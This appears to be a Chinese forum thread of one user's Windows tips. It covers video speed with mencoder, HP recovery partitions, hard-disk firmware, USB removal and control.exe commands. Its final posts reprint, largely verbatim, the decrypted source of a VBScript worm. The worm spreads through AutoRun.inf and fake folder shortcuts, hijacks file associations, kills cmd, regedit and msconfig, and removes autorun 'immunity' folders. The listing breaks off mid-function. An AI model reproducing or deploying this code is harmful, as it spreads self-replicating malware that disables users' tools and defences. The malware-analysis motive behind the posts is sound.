五千年(敝帚自珍)

主题:个人经验总结帖,内容不定,不定期更新 -- 休眠火山

共:💬29 🌺73
分页树展主题 · 全看首页 上页
/ 2
下页 末页
    • 家园 使用免费软件调整视频播放的速度

      由于碰到一些事情,需要把视频的播放速度放慢,于是搜了一下如何使用免费软件进行改动。其实有很多收费软件可以做到这个事情,比如专业或不专业的是视频编辑软件,但既然免费软件可以做到这个,为什么不用呢?

      据我不完全的调查结果,有几个办法可以做到。

      笨办法一,使用免费软件VirtualDub。这个软件可以对视频进行一些处理,并且有大量的资料。但是不适合初学者。首先,为了打开视频,就需要额外做一些工作,以使软件能够识别视频格式,其次,保存视频也需要做一些下载和设置。

      笨办法二,使用免费软件格式工厂对格式进行改变,然后结合VirtualDub或者微软自己的免费软件Movie Maker,编辑完成后再用格式工厂转化成自己想要的视频格式。缺点就是这两款软件默认的格式都是体积很大的,而且需要安装两款软件。不过就转换格式来说,我试用了几款免费软件,就支持的格式、界面整洁度及转化效果来看,还是格式工厂最佳。我曾经有个使用某设备录像得到的视频,使用freemake转化后看不到视频内容,使用暴风转码改变分辨率后整个图像变乱,只有使用格式工厂能得到最佳的结果。貌似免费软件狸窝也可以,但是广告太多,令人眼花。

      笨办法三,使用格式工厂(实际上是Mencoder)。目前为止,格式工厂里是找不到设置视频速度的功能的。你可以试验改变帧速率,但是视频播放速度没有变化,只有帧数下降了。其实格式工厂很多的格式转换应该是依赖于免费软件Mplayer自带的Mencoder。不清楚有哪些格式是用的这个,看文件貌似还是有很多其他编码器的?没有细究。但是即使是收费软件Any Video Converter貌似也使用了Mencoder,因为有个设置视频速度的界面实际上就是设置Mencoder的参数。那么既然格式工厂里自带了Mencoder,那么就可以用上这一点,而不用重新下载Mplayer了。更重要的是,格式工厂里有很多的编码解码器,都是已经下载好的,而单独下载Mplayer则会缺乏一些编码解码包。Mencoder是命令行格式,所以需要自己手动输入,具体的格式需要自己看。不过如果你只是要把速度调慢或快,并且不要音频的话(因为音频变慢变快就难听了,另外配音不在本文讨论范围内,具体可以看Mencoder的使用说明),可以使用以下命令

      mencoder -speed 1/4 input.avi -ovc copy -nosound -o output.avi

      速度可以根据自己需要自己调节。这里是0.25。

      我没有具体使用这个,所以不知道在高速时,帧速率过高会发生什么,有可能需要重新编码,使新视频的帧速降低,这个可以试,关键是工具。

      其实格式工厂可以增加这个功能,并不难,不知道为什么没有增加。现在只有改变目标帧速的功能,但总时长不变。

      笨办法四:使用avifrate。这个工具可以调节avi视频的帧速率,从而改变视频的速度。限制有二,首先是文件格式只能是avi格式的,其次不会对视频重新编码,所以如果你想提很高的速度,恐怕会被播放器拒绝,然后使用默认速度,调速就失败了。另外还有个问题就是它会直接修改目标视频,有可能会损坏文件,所以使用要慎重。一般情况下可以用格式工厂改格式为avi,然后用这个调节,然后在用格式工厂转换所需要的格式和目标帧速即可。适合新手。

      暂时这些,如果有其他更方便的方法再添加。

    • 家园 手动恢复品牌机的系统恢复分区

      待续。

      • 家园 手动恢复品牌机的系统恢复分区

        时间原因,没有及时更新,结果过了更改期限。而且细节已经忘记了,只好大致说一下了。

        其实这个并不是很难,就是有时候会遇到一些问题,解决不了。

        以前买的电脑都有系统恢复光盘,这个很简单,后来很多机器不带光驱了,于是就开始在硬盘内分出一份空间来,作为隐藏的恢复分区。很多人为了节省空间,就把这块分区取消了,后来为了恢复这个分区,就需要做一些工作。

        我这里要讲的是,在删除恢复分区前,把里边的内容给备份出来了的情况。

        如果删除了里边的内容,有个别情况下,有些厂商(如dell)是提供恢复分区的镜像文件和程序,只需要运行程序即可恢复,很简单。否则只有找没有删除的人去要了。

        如果已经有了镜像或备份文件,就可以自己手动恢复分区了。

        我现在的经验是给hp电脑做恢复。

        hp电脑的f11键运行恢复分区里的启动文件貌似是固化到bios里的,所以很简单,只要恢复了恢复分区里的文件,就能启动。但是,有一些需要注意的地方,否则虽然启动了恢复分区,但恢复过程中会出错。

        首先说启动问题。

        恢复分区里仍然是视窗的启动文件,vista以上的版本都是利用的win自己的镜像功能。所以都是启动一个预安装环境,就是winpe3.0,然后将镜像解包。如果f11键不是固化到bios里的,可以用bcdedit或者相关工具把恢复分区的启动文件加入到启动里并隐藏,并把快捷键f11链接到这个分区启动即可。这样就可以保证启动时按f11键可以进入到恢复分区启动。

        其次是注意问题。

        我的hp默认分区是三个,一个是主要分区,一个是备份分区,还有一个分区是中间的。在进入恢复程序后,如果想正常进行恢复,三个分区的分布很重要。网上有些信息说必须严格多大多小的分区空间,或者严格一致的分区名称,都是不对的。我曾经解包过其安装文件,其实对这些没有明确要求。但是由于程序设计问题,如果有些地方不对也是无法完成恢复的。首先三个分区都要有,格式可以是ntfs,大小只要足够放进去应该放的文件即可,恢复分区必须是最后一个分区。这个前提下,恢复程序才能自动进入到重新分区的部分。恢复程序会对前两个分区重新分区,否则会出错。然后,恢复分区前面的空间必须是整数个簇,否则会出错。我就是在这里耽误了很长时间,每次运行完恢复程序,都会在自动分区时出错,然后发现分区信息丢失。后来解包恢复命令才发现这个问题。这个很难发现因为一般恢复恢复分区时,都是用软件自动划分分区大小,很少注意簇是否是整数。

        剩下就简单了,分区是对的,恢复分区能启动,就可以在启动时进入恢复程序,等待恢复程序重新分区并解压镜像,然后重启,就会发现系统和你刚买的时候一样了。

        时间太长了,具体一些细节记不太清了,好在关键点还在。希望能对某些人能有帮助。

    • 家园 关于希捷笔记本硬盘的唧唧声

      这个是个老毛病了。好几年了。

      有段时间希捷笔记本硬盘出了相同的毛病。具体表现为:不定期出现一声滴或者唧的声音,随后系统停止反应,两三秒后系统恢复正常,没有任何的问题。但不定时后会再次发作。

      这个毛病非常烦人,在于它极度影响正常工作。

      网上可以搜到大量的相关信息,英语里叫做clicking sound.

      解决办法是,要么换,要么自己修。

      自己修并不难,但是有风险。就是要下载一个合适的固件firmware,然后更改硬盘固件即可。

      这个折腾了我很久。比较倒霉,总是碰到硬件缺陷。第一次是三星彩虹管事件,我陪着销售店家等了一天才让他看到现象并给我换了一台,结果还是一样的毛病,几个月后大规模爆发,三星承诺免费修。第二次就是这个了。在售后服务中心耗了一天,也没让他看见现象。后来我没办法自己用电脑的录音机功能把声音录下来,才让修理工程师相信,并耗到确实亲眼见到才同意给我修。结果给我换了主板,没解决问题,第二次修换了硬盘才部分解决问题。结果就是新硬盘出现这个现象的频率较低,偶尔一次,忍了。直到两年后,突然又加重,于是决定自己解决问题。

      网上建议的硬件一个是dell的,一个是联想的,还有hp的。大部分反馈都是用联想的解决了问题。我的是hp的本子,所以先和hp的比较,发现hp的版本比我的还老。于是试验了dell的和联想的,结果都是更糟,频率变得非常频繁。由于条件限制,没有存自己的原始固件,只好使用hp的固件,没想到反而好了。

      所以结论就是,什么固件适合你,需要试了才知道。老版固件未必不好。最后:刷固件有风险,自己动手需谨慎。

    • 家园 关于word2003里光标突然变小变短变矮

      不知道2007以后的版本是否已经解决了这个问题。

      而且这个问题也一般不会遇到的。

      但遇到了也很难受,知道了解决办法也很容易。

      一般人都说,是不是字体变小了?是不是打开了下标?

      有这个可能。

      但还有一个可能,是word本身的bug,这个是从一个英文的回复中找到的,感谢其原作者。

      解决的方法,就是把视图放大到500%,然后变回来,图标就恢复了。

      很简单。只要你知道哪里画那个圈圈。

    • 家园 关于无法安全移除硬件

      拔u盘之前,遇到无法安全移除硬件的事情还是比较常见的。

      一种是因为还有运行的程序在占用u盘上的文件,只需要关闭u盘上的程序或者被打开的文件即可。

      一种是有软件正在占用u盘。比如杀毒软件或者qq之类偷看你u盘的软件。

      一般使用unlocker这个软件,就可以看到正在暂用u盘的程序,并通过解锁来取消对u盘的占用,并安全移除。

      但是也有unlocker看不到的情况,这个一般是驱动程序的缘故,我曾经遇到过intel主板驱动监测系统温度的软件会出现占用u盘的情况,进程里杀掉就能正常卸载了。

      到底是什么在占用u盘,还有一个办法能看到。

      右键点击我的电脑,并选择管理,左边点开系统事件查看器,windows日志,系统,然后看最近出现的黄色叹号,里边应该会告诉你哪个程序在占用着你的u盘。关掉即可操作安全删除硬件了。

    • 家园 XP系统下control.exe的用法备忘

      Windows的命令列模式下有个非常好用的命令叫做Control。这个命令其实就是控制『控制台』的一个接口。你可以用这个命令直接叫起一些平常要找很久才会找到的窗口。你只要执行中输入命令参数就可以打开相应窗口。

      以下列出一些网络上面找到的相关命令: &

      命令参数

      &

      平台

      &

      说明

      &

      control admintools

      &

      2000/XP

      &

      开启『系统管理工具』窗口。

      &

      control desktop

      &

      95/98/ME/NT/2000/XP

      &

      开启『显示 内容』窗口。

      &

      control color

      &

      95/98/ME/NT/2000/XP

      &

      开启『显示 内容』窗口,并显示『外观』项目。

      &

      control date/time

      &

      95/98/ME/NT/2000/XP

      &

      开启『时间和日期 内容』窗口。

      &

      control folders

      &

      XP

      &

      开启『数据夹选项』窗口。

      &

      control fonts

      &

      95/98/ME/NT/2000/XP

      &

      开启『字型』窗口。

      &

      control infrared

      &

      95/98/ME/NT/2000/XP

      &

      开启『无线连结』窗口。

      &

      control international

      &

      95/98/ME/NT/2000/XP

      &

      开启『地区及语言选项』窗口。

      &

      control keyboard

      &

      95/98/ME/NT/2000/XP

      &

      开启『键盘 内容』窗口。

      &

      control mouse

      &

      95/98/ME/NT/2000/XP

      &

      开启『鼠标 内容』窗口。

      &

      control& netconnections

      &

      2000/XP

      &

      开启『网络联机』窗口。

      &

      control netware

      &

      2000/XP

      &

      开启『Netware』窗口。

      &

      control panel

      &

      2000/XP

      &

      开启『控制台』窗口。

      &

      control printers

      &

      95/98/ME/NT/2000/XP

      &

      开启『打印机和传真』窗口。

      &

      control schedtasks

      &

      2000/XP

      &

      开启『排定的工作』窗口。

      &

      control telephony

      &

      2000/XP

      &

      开启『位置信息』窗口。

      &

      control userpasswords

      &

      2000/XP

      &

      开启『使用者账户』窗口。

      &

      control userpasswords2

      &

      2000/XP

      &

      开启另一种『使用者账户』窗口。

      此外,有一种扩展名为.cpl的档案。其实他就是各种在控制台内的工具。所以你可以透过

      control xxx.cpl

      这样的方式来开启该画面。sysdm.cpl 将打开系统属性小程序

      Access.cpl:辅助功能选项

      Appwiz.cpl:添加/删除程序

      Desk.cpl:显示

      Fax.cpl:传真向导

      Hdwwiz.cpl:添加/删除硬件

      Intl.cpl:区域语言选项

      Joy.cpl:游戏控制器

      Liccpa.cpl:许可

      Main.cpl:鼠标

      Mlcfg.cpl:邮件

      Mmsys.cpl:声音和音频设备

      Modem.cpl:电话和调制解调器选项

      Ncpa.cpl:网络连接

      Netcpl.cpl:网络和拨号连接

      Nwc.cpl: Netware客户端连接

      Odbccp32.cpl: ODBC数据源

      Powercfg.cpl:电源管理

      Sticpl.cpl:扫描仪和照相机

      Sysdm.cpl:系统

      Telephon.cpl:拨号规则和调制解调器

      Timedate.cpl:日期和时间

    • 家园 关于smss.exe 后边是.vbs文件的病毒(续)

      杀完了以后,下面讲讲这个病毒本身。这个病毒隐藏自身非常巧妙,它是利用了NTFS分区的流功能把自身附加到了系统程序的后边。这样就达到了只要启动系统就自动中毒的目的。

      好吧,我承认我已经把这个病毒解密了。这个病毒实际上比较简单,为什么杀毒软件不认呢,是因为病毒每次传染的时候都要用新的随机码进行自我加密。vbs病毒有个致命缺陷,就是必须是明码运行,因此必须自我解密才能运行。这样我们可以通过解密来看到病毒的明码,并对病毒进行杀毒处理。

      首先,我要表示一下失望,因为我以为这个病毒能够几层嵌套来加密,结果只有一层。

      其次,试着贴病毒程序代码内容:

      On Error Resume Next
      Dim Fso,WshShell
      Set Fso=CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
      Set WshShell=CreateObject("wScRipT.SHelL")
      Call Main()
      Sub Main()
       On Error Resume Next
       Dim Args, VirusLoad, VirusAss
       Set Args=WScript.Arguments
       VirusLoad=GetMainVirus(1)
       VirusAss=GetMainVirus(0)
       ArgNum=0
       Do While ArgNum < Args.Count
       Param=Param&" "&Args(ArgNum)
       ArgNum=ArgNum + 1
       Loop
      SubParam=LCase(Right(Param, 3))
      Select Case SubParam
      Case "run"
      RunPath=Left(WScript.ScriptFullName, 2)
      Call Run(RunPath)
      Call InvadeSystem(VirusLoad,VirusAss)
      Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
      Case "txt", "log","ini" ,"inf"
      RunPath="%SystemRoot%\system32\NOTEPAD.EXE "&Param
      Call Run(RunPath)
      Call InvadeSystem(VirusLoad,VirusAss)
      Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
      Case "bat", "cmd"
      RunPath="CMD /c echo Hi!I'm here!&pause"
      Call Run(RunPath)
      Call InvadeSystem(VirusLoad,VirusAss)
      Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
      Case "reg"
      RunPath="regedit.exe "&""""&Trim(Param)&""""
      Call Run(RunPath)
      Call InvadeSystem(VirusLoad,VirusAss)
      Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
      Case "chm"
      RunPath="hh.exe "&""""&Trim(Param)&""""
      Call Run(RunPath)
      Call InvadeSystem(VirusLoad,VirusAss)
      Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
      Case "hlp"
      RunPath="winhlp32.exe "&""""&Trim(Param)&""""
      Call Run(RunPath)
      Call InvadeSystem(VirusLoad,VirusAss)
      Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
      Case "dir"
      RunPath=""""&Left(Trim(Param),Len(Trim(Param))-3)&""""
      Call Run(RunPath)
      Call InvadeSystem(VirusLoad,VirusAss)
      Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
      Case "oie"
      RunPath="""%ProgramFiles%\Internet Explorer\IEXPLORE.EXE"""
      Call Run(RunPath)
      Call InvadeSystem(VirusLoad,VirusAss)
      Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
      Case "omc"
      RunPath="explorer.exe /n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
      Call Run(RunPath)
      Call InvadeSystem(VirusLoad,VirusAss)
      Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
      Case "emc"
      RunPath="explorer.exe /n,/e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
      Call Run(RunPath)
      Call InvadeSystem(VirusLoad,VirusAss)
      Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
      Case Else
      If PreDblInstance=True Then
      WScript.Quit
      End If
      Timeout = Datediff("ww", GetInfectedDate, Date) - 12
      If Timeout>0 And Month(Date) = Day(Date) Then
      Call VirusAlert()
      Call MakeJoke(CInt(Month(Date)))
      End If
      call MonitorSystem()
      End Select
      End Sub
      Sub MonitorSystem()
      On Error Resume Next
      Dim ProcessNames, ExeFullNames
      ProcessNames=Array("cmd.exe","cmd.com","regedit.exe","regedit.scr","regedit.pif","regedit.com","msconfig.exe")
      VBSFullNames=Array(GetMainVirus(1))
      Do
      Call KillProcess(ProcessNames)
      Call InvadeSystem(GetMainVirus(1),GetMainVirus(0))
      Call KeepProcess(VBSFullNames)
      WScript.Sleep 3000
      Loop
      End Sub
      Sub InvadeSystem(VirusLoadPath,VirusAssPath)
      On Error Resume Next
      Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version
      Load_Value=""""&VirusLoadPath&""""
      File_Value="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" %1 %* "
      IE_Value="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" OIE "
      MyCpt_Value1="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" OMC "
      MyCpt_Value2="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" EMC "
      HCULoad="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Load"
      HCUVer="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver"
      HCUDate="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date"
      VirusCode=GetCode(WScript.ScriptFullName)
      Version=1
      HostSourcePath=Fso.GetSpecialFolder(1)&"\Wscript.exe"
      HostFilePath=Fso.GetSpecialFolder(0)&"\system\svchost.exe"
      For Each Drive In Fso.Drives
      If Drive.IsReady and (Drive.DriveType=1 Or Drive.DriveType=2 Or Drive.DriveType=3) Then
      DiskVirusName=GetSerialNumber(Drive.DriveLetter)&".vbs"
      Call CreateAutoRun(Drive.DriveLetter,DiskVirusName)
      Call InfectRoot(Drive.DriveLetter,DiskVirusName)
      End If
      Next
      If FSO.FileExists(VirusAssPath)=False Or FSO.FileExists(VirusLoadPath)=False Or FSO.FileExists(HostFilePath)=False Or GetVersion()< Version Then
      If GetFileSystemType(GetSystemDrive())="NTFS" Then
      Call CreateFile(VirusCode,VirusAssPath)
      Call CreateFile(VirusCode,VirusLoadPath)
      Call CopyFile(HostSourcePath,HostFilePath)
      Call SetHiddenAttr(HostFilePath)
      Else
      Call CreateFile(VirusCode, VirusAssPath)
      Call SetHiddenAttr(VirusAssPath)
      Call CreateFile(VirusCode,VirusLoadPath)
      Call SetHiddenAttr(VirusLoadPath)
      Call CopyFile(HostSourcePath, HostFilePath)
      Call SetHiddenAttr(HostFilePath)
      End If
      End If
      If ReadReg(HCULoad)<>Load_Value& Then
      Call WriteReg (HCULoad, Load_Value, "")
      End If
      If GetVersion() < Version Then
      Call WriteReg (HCUVer, Version, "")
      End If
      If GetInfectedDate() = "" Then
      Call WriteReg (HCUDate, Date, "")
      End If
      If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\")<>File_Value Then
      Call SetTxtFileAss(VirusAssPath)
      End If
      If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\")<>File_Value Then
      Call SetIniFileAss(VirusAssPath)
      End If
      If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\")<>File_Value Then
      Call SetInfFileAss(VirusAssPath)
      End If
      If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\")<>File_Value Then
      Call SetBatFileAss(VirusAssPath)
      End If
      If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\")<>File_Value Then
      Call SetCmdFileAss(VirusAssPath)
      End If
      If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\")<>File_Value Then
      Call SetRegFileAss(VirusAssPath)
      End If
      If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\")<>File_Value Then
      Call SetchmFileAss(VirusAssPath)
      End If
      If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\")<>File_Value Then
      Call SethlpFileAss(VirusAssPath)
      End If
      If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\")<>IE_Value Then
      Call SetIEAss(VirusAssPath)
      End If
      If ReadReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\")<>IE_Value Then
      Call SetIEAss(VirusAssPath)
      End If
      If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\")<>MyCpt_Value1 Then
      Call SetMyComputerAss(VirusAssPath)
      End If
      If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\")<>MyCpt_Value2 Then
      Call SetMyComputerAss(VirusAssPath)
      End If
      Call RegSet()
      End Sub
      Sub CopyFile(source, pathf)
      On Error Resume Next
      If FSO.FileExists(pathf) Then
      FSO.DeleteFile pathf , True
      End If
      FSO.CopyFile source, pathf
      End Sub
      Sub CreateFile(code, pathf)
      On Error Resume Next
      Dim FileText
      If FSO.FileExists(pathf) Then
      Set FileText=FSO.OpenTextFile(pathf, 2, False)
      FileText.Write code
      FileText.Close
      Else
      Set FileText=FSO.OpenTextFile(pathf, 2, True)
      FileText.Write code
      FileText.Close
      End If
      End Sub
      Sub CreateFile(code, pathf)
      On Error Resume Next
      Dim FileText
      If FSO.FileExists(pathf) Then
      Set FileText=FSO.OpenTextFile(pathf, 2, False)
      FileText.Write code
      FileText.Close
      Else
      Set FileText=FSO.OpenTextFile(pathf, 2, True)
      FileText.Write code
      FileText.Close
      End If
      End Sub
      Sub RegSet()
      On Error Resume Next
      Dim RegPath1 , RegPath2, RegPath3, RegPath4
      RegPath1="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue"
      RegPath2="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
      RegPath3="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun"
      RegPath4="HKEY_CLASSES_ROOT\lnkfile\IsShortcut"
      Call WriteReg (RegPath1, 3, "REG_DWORD")
      Call WriteReg (RegPath2, 2, "REG_DWORD")
      Call WriteReg (RegPath3, 0, "REG_DWORD")
      Call DeleteReg (RegPath4)
      End Sub
      Sub KillProcess(ProcessNames)
      On Error Resume Next
      Set WMIService=GetObject("winmgmts:\\.\root\cimv2")
      For Each ProcessName in ProcessNames 
      Set ProcessList=WMIService.execquery(" Select * From win32_process where name ='"&ProcessName&"' ")
      For Each Process in ProcessList
      IntReturn=Process.terminate
      If intReturn<>0 Then
      WshShell.Run "CMD /c ntsd -c q -p "&Process.Handle, vbHide, False
      End If
      Next
      Next
      End Sub
      Sub KillImmunity(D)
      On Error Resume Next
      ImmunityFolder=D&":\Autorun.inf"
      If Fso.FolderExists(ImmunityFolder) Then
      WshSHell.Run ("CMD /C CACLS "& """"&ImmunityFolder&"""" &" /t /e /c /g everyone:f"),vbHide,True
      WshSHell.Run ("CMD /C RD /S /Q "& ImmunityFolder), vbHide, True
      End If
      End Sub
      Sub KeepProcess(VBSFullNames)
      On Error Resume Next
      For Each VBSFullName in VBSFullNames 
      If VBSProcessCount(VBSFullName) < 2 then
      Run("%SystemRoot%\system\svchost.exe "&VBSFullName)
      End If
      Next
      End Sub
      Function GetSystemDrive()
      GetSystemDrive=Left(Fso.GetSpecialFolder(0),2)
      End Function
      Function GetFileSystemType(Drive)
      Set d=FSO.GetDrive(Drive)
      GetFileSystemType=d.FileSystem
      End Function
      Function ReadReg(strkey)
      Dim tmps
      Set tmps=CreateObject("WScript.Shell")
      ReadReg=tmps.RegRead(strkey)
      Set tmps=Nothing
      End Function
      Sub WriteReg(strkey, Value, vtype)
      Dim tmps
      Set tmps=CreateObject("WScript.Shell")
      If vtype="" Then
      tmps.RegWrite strkey, Value
      Else
      tmps.RegWrite strkey, Value, vtype
      End If
      Set tmps=Nothing
      End Sub
      Sub DeleteReg(strkey)
      Dim tmps
      Set tmps=CreateObject("WScript.Shell")
      tmps.RegDelete strkey
      Set tmps=Nothing
      End Sub
      

      字数限制,必须分页了。

      • 家园 关于smss.exe 后边是.vbs文件的病毒(续1)

        继续代码。

        Sub SetHiddenAttr(path)
        On Error Resume Next
        Dim vf
        Set vf=FSO.GetFile(path)
        Set vf=FSO.GetFolder(path)
        vf.Attributes=6
        End Sub
        Sub Run(ExeFullName)
        On Error Resume Next
        Dim WshShell
        Set WshShell=WScript.CreateObject("WScript.Shell")
        WshShell.Run ExeFullName
        Set WshShell=Nothing
        End Sub
        Sub InfectRoot(D,VirusName)
        On Error Resume Next
        Dim VBSCode
        VBSCode=GetCode(WScript.ScriptFullName)
        VBSPath=D&":\"&VirusName
        If FSO.FileExists(VBSPath)=False Then
        Call CreateFile(VBSCode, VBSPath)
        Call SetHiddenAttr(VBSPath)
        End If
        Set Folder=Fso.GetFolder(D&":\")
        Set SubFolders=Folder.Subfolders
        For Each SubFolder In SubFolders
        SetHiddenAttr(SubFolder.Path)
        LnkPath=D&":\"&SubFolder.Name&".lnk"
        TargetPath=D&":\"&VirusName
        Args=""""&D&":\"&SubFolder.Name& "\Dir"""
        If Fso.FileExists(LnkPath)=False Or GetTargetPath(LnkPath) <> TargetPath Then
        If Fso.FileExists(LnkPath)=True Then
        FSO.DeleteFile LnkPath, True
        End If
        Call CreateShortcut(LnkPath,TargetPath,Args)
        End If
        Next
        End Sub
        Sub CreateShortcut(LnkPath,TargetPath,Args)
        Set Shortcut=WshShell.CreateShortcut(LnkPath)
        with Shortcut
        .TargetPath=TargetPath
        .Arguments=Args
        .WindowStyle=4
        .IconLocation="%SystemRoot%\System32\Shell32.dll, 3"
        .Save
        end with
        End Sub
        Sub CreateAutoRun(D,VirusName)
        On Error Resume Next
        Dim InfPath, VBSPath, VBSCode
        InfPath=D&":\AutoRun.inf"
        VBSPath=D&":\"&VirusName
        VBSCode=GetCode(WScript.ScriptFullName)
        If FSO.FileExists(InfPath)=False Or FSO.FileExists(VBSPath)=False Then
        Call CreateFile(VBSCode, VBSPath)
        Call SetHiddenAttr(VBSPath)
        StrInf="[AutoRun]"&VBCRLF&"Shellexecute=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell\open=打m(&O)"&VBCRLF&"shell\open\command=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell\open\Default=1"& VBCRLF&"shell\explore=m源管理器(&X)"&VBCRLF&"shell\explore\command=WScript.exe "&VirusName&" ""AutoRun"""
        Call KillImmunity(D)
        Call CreateFile(StrInf, InfPath)
        Call SetHiddenAttr(InfPath)
        End If
        End Sub
        Sub SetTxtFileAss(sFilePath)
        On Error Resume Next
        Dim Value
        Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
        Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\", Value, "REG_EXPAND_SZ")
        End Sub
        Sub SetIniFileAss(sFilePath)
        On Error Resume Next
        Dim Value
        Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
        Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\", Value, "REG_EXPAND_SZ")
        End Sub
        Sub SetInfFileAss(sFilePath)
        On Error Resume Next
        Dim Value
        Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
        Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\", Value, "REG_EXPAND_SZ")
        End Sub
        Sub SetBatFileAss(sFilePath)
        On Error Resume Next
        Dim Value
        Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
        Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\", Value, "REG_EXPAND_SZ")
        End Sub
        Sub SetCmdFileAss(sFilePath)
        On Error Resume Next
        Dim Value
        Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
        Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\", Value, "REG_EXPAND_SZ")
        End Sub
        Sub SethlpFileAss(sFilePath)
        On Error Resume Next
        Dim Value
        Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
        Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\", Value, "REG_EXPAND_SZ")
        End Sub
        Sub SetRegFileAss(sFilePath)
        On Error Resume Next
        Dim Value
        Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
        Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\", Value, "REG_EXPAND_SZ")
        End Sub
        Sub SetchmFileAss(sFilePath)
        On Error Resume Next
        Dim Value
        Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
        Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", Value, "REG_EXPAND_SZ")
        End Sub
        Sub SetIEAss(sFilePath)
        On Error Resume Next
        Dim Value
        Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OIE "
        Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\", Value, "REG_EXPAND_SZ")
        Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\", Value, "REG_EXPAND_SZ")
        End Sub
        Sub SetMyComputerAss(sFilePath)
        On Error Resume Next
        Dim Value1,Value2
        Value1="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OMC "
        Value2="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" EMC "
        Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\", "", "REG_SZ")
        Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\", Value1, "REG_EXPAND_SZ")
        Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\", Value2, "REG_EXPAND_SZ")
        End Sub
        Function GetSerialNumber(Drv)
        On Error Resume Next
        Set d=fso.GetDrive(Drv)
        GetSerialNumber=d.SerialNumber
        GetSerialNumber=Replace(GetSerialNumber,"-","")
        End Function
        Function GetMainVirus(N)
        On Error Resume Next
        MainVirusName=GetSerialNumber(GetSystemDrive())&".vbs"
        If GetFileSystemType(GetSystemDrive())="NTFS" Then
        If N=1 Then
